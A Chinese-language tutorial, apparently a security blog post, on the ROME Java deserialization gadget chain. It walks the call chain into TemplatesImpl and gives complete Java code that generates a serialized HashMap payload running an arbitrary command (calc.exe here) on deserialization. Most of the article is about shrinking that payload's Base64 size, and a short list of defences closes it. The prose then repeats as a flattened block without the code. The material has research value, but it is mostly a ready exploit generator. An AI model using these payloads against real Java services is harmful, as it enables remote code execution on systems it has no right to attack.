ROME链分析与Payload终极缩小-JAVA反序列化
字数 1051 2025-08-29 08:31:42

Java反序列化漏洞分析:ROME链与Payload最小化技术

前言

ROME链是Java反序列化漏洞利用链的一种,与Commons Collections 2 (CC2)链类似,都是通过配合TemplatesImpl实现代码注入。本文将详细分析ROME链的工作原理,并探讨如何将生成的Payload进行最小化优化。

环境搭建

所需依赖

<dependencies>
    <dependency>
        <groupId>junit</groupId>
        <artifactId>junit</artifactId>
        <version>4.11</version>
        <scope>test</scope>
    </dependency>
    <dependency>
        <groupId>rome</groupId>
        <artifactId>rome</artifactId>
        <version>1.0</version>
    </dependency>
    <dependency>
        <groupId>org.javassist</groupId>
        <artifactId>javassist</artifactId>
        <version>3.28.0-GA</version>
    </dependency>
</dependencies>

关键组件

  • ROME库:提供ObjectBean和ToStringBean类
  • Javassist:用于动态生成恶意类字节码
  • TemplatesImpl:最终执行恶意代码的载体

漏洞链分析

完整调用链

* HashMap<K,V>.readObject(ObjectInputStream)
* HashMap<K,V>.hash(Object)
* ObjectBean.hashCode()
* EqualsBean.beanHashCode()
* ObjectBean.toString()
* ToStringBean.toString()
* ToStringBean.toString(String)
* Method.invoke(Object, Object...)
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
* NativeMethodAccessorImpl.invoke(Object, Object[])
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
* TemplatesImpl.getOutputProperties()

关键点说明

  1. 入口点:HashMap的readObject方法,这是Java反序列化的常见入口
  2. 触发路径:通过HashMap的hash方法调用ObjectBean的hashCode
  3. 简化路径:可以直接将_obj设置为ToStringBean,跳过ObjectBean.toString()
  4. 关键调用:ToStringBean.toString()会反射调用对象的getter方法
  5. 最终执行:通过TemplatesImpl的getOutputProperties方法触发代码执行

Payload构造

基础Payload构造

public class BasicPayload {
    public static void main(String[] args) throws Exception {
        // 1. 使用Javassist创建恶意类
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.get(Evil.class.getName());
        byte[] bytes = ctClass.toBytecode();
        
        // 2. 设置TemplatesImpl
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templatesImpl, "_name", "a");
        setFieldValue(templatesImpl, "_tfactory", null);
        
        // 3. 构造ROME链
        ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);
        ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
        
        // 4. 放入HashMap触发
        Map hashMap = new HashMap();
        hashMap.put(objectBean, "x");
        
        // 序列化
        ByteArrayOutputStream bs = unSerial(hashMap);
    }
}

Payload最小化技术

1. Javassist优化

原始方式生成的类较大,可以通过以下方式优化:

CtClass ctClass = pool.makeClass("i");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");");

优化点:

  • 使用简短的类名"i"
  • 直接设置类初始化器,省略try-catch块
  • 最小化字节码结构

2. 删除冗余字段

通过反射删除不影响反序列化过程的字段:

setFieldValue(objectBean, "_cloneableBean", null);
setFieldValue(objectBean, "_toStringBean", null);

3. 最终优化后的Payload

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class OptimizedPayload {
    public static void main(String[] args) throws Exception {
        // 1. 最小化恶意类
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("i");
        CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        ctClass.setSuperclass(superClass);
        CtConstructor constructor = ctClass.makeClassInitializer();
        constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");");
        byte[] bytes = ctClass.toBytecode();
        
        // 2. 设置TemplatesImpl
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templatesImpl, "_name", "a");
        setFieldValue(templatesImpl, "_tfactory", null);
        
        // 3. 构造最小化ROME链
        ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);
        ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
        
        // 4. 删除冗余字段
        setFieldValue(objectBean, "_cloneableBean", null);
        setFieldValue(objectBean, "_toStringBean", null);
        
        // 5. 放入HashMap
        Map hashMap = new HashMap();
        hashMap.put(objectBean, "x");
        
        // 6. 序列化并输出Base64
        ByteArrayOutputStream bs = unSerial(hashMap);
        Base64Encode(bs);
    }
    
    // 辅助方法保持不变
    private static ByteArrayOutputStream unSerial(Map hashMap) throws Exception {
        ByteArrayOutputStream bs = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(bs);
        out.writeObject(hashMap);
        ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bs.toByteArray()));
        in.readObject();
        in.close();
        return bs;
    }
    
    private static void Base64Encode(ByteArrayOutputStream bs) {
        byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
        String s = new String(encode);
        System.out.println(s);
        System.out.println(s.length());
    }
    
    private static void setFieldValue(Object obj, String field, Object arg) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
}

优化效果

  1. 原始Payload大小:3408字符(Base64编码后)
  2. 初步优化后:1932字符
  3. 最终优化后:1696字符

技术要点总结

  1. ROME链核心:利用ToStringBean的toString方法反射调用getter
  2. TemplatesImpl利用:通过_bytecodes注入恶意字节码
  3. 最小化原则
    • 使用最短的类名和方法名
    • 删除所有不必要的字段和结构
    • 精简字节码生成逻辑
  4. 关键反射点:必须保留影响反序列化路径的字段,其余可删除

防御建议

  1. 升级ROME库到安全版本
  2. 使用反序列化过滤器(ObjectInputFilter)
  3. 禁止反序列化不可信数据
  4. 使用白名单机制控制可反序列化的类

通过本文的分析,我们深入理解了ROME反序列化漏洞链的工作原理,并掌握了Payload最小化的关键技术,这对于漏洞研究和防御都具有重要意义。

Java反序列化漏洞分析:ROME链与Payload最小化技术 前言 ROME链是Java反序列化漏洞利用链的一种,与Commons Collections 2 (CC2)链类似,都是通过配合TemplatesImpl实现代码注入。本文将详细分析ROME链的工作原理,并探讨如何将生成的Payload进行最小化优化。 环境搭建 所需依赖 关键组件 ROME库:提供ObjectBean和ToStringBean类 Javassist:用于动态生成恶意类字节码 TemplatesImpl:最终执行恶意代码的载体 漏洞链分析 完整调用链 关键点说明 入口点 :HashMap的readObject方法,这是Java反序列化的常见入口 触发路径 :通过HashMap的hash方法调用ObjectBean的hashCode 简化路径 :可以直接将_ obj设置为ToStringBean,跳过ObjectBean.toString() 关键调用 :ToStringBean.toString()会反射调用对象的getter方法 最终执行 :通过TemplatesImpl的getOutputProperties方法触发代码执行 Payload构造 基础Payload构造 Payload最小化技术 1. Javassist优化 原始方式生成的类较大,可以通过以下方式优化: 优化点: 使用简短的类名"i" 直接设置类初始化器,省略try-catch块 最小化字节码结构 2. 删除冗余字段 通过反射删除不影响反序列化过程的字段: 3. 最终优化后的Payload 优化效果 原始Payload大小:3408字符(Base64编码后) 初步优化后:1932字符 最终优化后:1696字符 技术要点总结 ROME链核心 :利用ToStringBean的toString方法反射调用getter TemplatesImpl利用 :通过_ bytecodes注入恶意字节码 最小化原则 : 使用最短的类名和方法名 删除所有不必要的字段和结构 精简字节码生成逻辑 关键反射点 :必须保留影响反序列化路径的字段,其余可删除 防御建议 升级ROME库到安全版本 使用反序列化过滤器(ObjectInputFilter) 禁止反序列化不可信数据 使用白名单机制控制可反序列化的类 通过本文的分析,我们深入理解了ROME反序列化漏洞链的工作原理,并掌握了Payload最小化的关键技术,这对于漏洞研究和防御都具有重要意义。